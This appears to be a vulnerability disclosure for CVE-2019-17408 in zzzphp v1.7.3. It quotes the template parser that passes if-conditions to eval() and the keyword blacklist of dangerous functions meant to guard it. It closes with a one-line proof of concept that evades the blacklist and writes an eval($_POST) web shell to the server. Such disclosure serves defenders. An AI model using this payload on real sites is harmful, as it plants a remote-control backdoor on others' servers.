Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

General

Vulnerability Name: zzzphp v1.7.3 code execution (latest version)
Product Homepage: http://www.zzzcms.com
Software Link: http://115.29.55.18/zzzphp.zip
Version: v1.7.3
CVE: CVE-2019-17408

Vulnerability Overview

Affected code is located at inc/zzz_template.php:2335, function parserIfLabel.

function parserIfLabel( $zcontent ) {
	$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
	if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
		$count = count( $matches[ 0 ] );
		for ( $i = 0; $i < $count; $i++ ) {
			$flag = '';
			$out_html = '';
			$ifstr = $matches[ 1 ][ $i ];
			$ifstr=danger_key($ifstr);
			$ifstr = str_replace( '=', '==', $ifstr );	
			$ifstr = str_replace( '<>', '!=', $ifstr );
			$ifstr = str_replace( 'or', '||', $ifstr );
			$ifstr = str_replace( 'and', '&&', $ifstr );
			$ifstr = str_replace( 'mod', '%', $ifstr );						
			@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
			if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else			
				switch ( $flag ) {
					case 'if': // 条件为真
						if ( isset( $matches2[ 1 ] ) ) {
							$out_html .= $matches2[ 1 ];
						}
						break;
					case 'else': // 条件为假
						if ( isset( $matches2[ 2 ] ) ) {
							$out_html .= $matches2[ 2 ];
						}
						break;
				}
			} elseif ( $flag == 'if' ) {
				$out_html .= $matches[ 2 ][ $i ];
			}
			// 无限极嵌套解析
			$pattern2 = '/\{if([0-9]):/';
			if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
				$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
				$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
				$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
				$out_html = $this->parserIfLabel( $out_html );
			}
			// 执行替换
			$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
		}
	}
	return $zcontent;
}

This function is mainly to parse the if statement in the template file. Besides execute blacklist substitution for $ifstr, which is added in v1.7.2. The replacement function is as follows:

function danger_key($s) {
	$danger=array('php','preg','server','chr','decode','html','md5','post','get','file','dir','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_','?');
	$s = str_ireplace($danger,"*",$s);
	$key=array('php','preg','decode','post','get','cookie','session','$','exec','eval','replace');
   foreach ($key as $val){
	   if(strpos($s,$val) !==false){
		error('很抱歉,您模板中包含危险字符,【'.$val.'】,Sorry your template contains dangerous characters');
		}
   }
	return $s;
}

POC: (Bypass the patch from v1.7.2)

{if:1=1);file_put_contents(strtr("1.p*p", "*", "h"),strtr('<?*h* ', "*", "p").strtr('ev*l(', "*", "a").hex2bin('24').strtr('_P*ST[1]);', "*", "O"));//} {end if}